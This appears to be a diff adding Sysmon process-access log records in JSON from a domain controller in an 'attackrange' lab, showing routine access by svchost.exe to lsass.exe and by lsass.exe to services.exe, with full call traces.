+{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 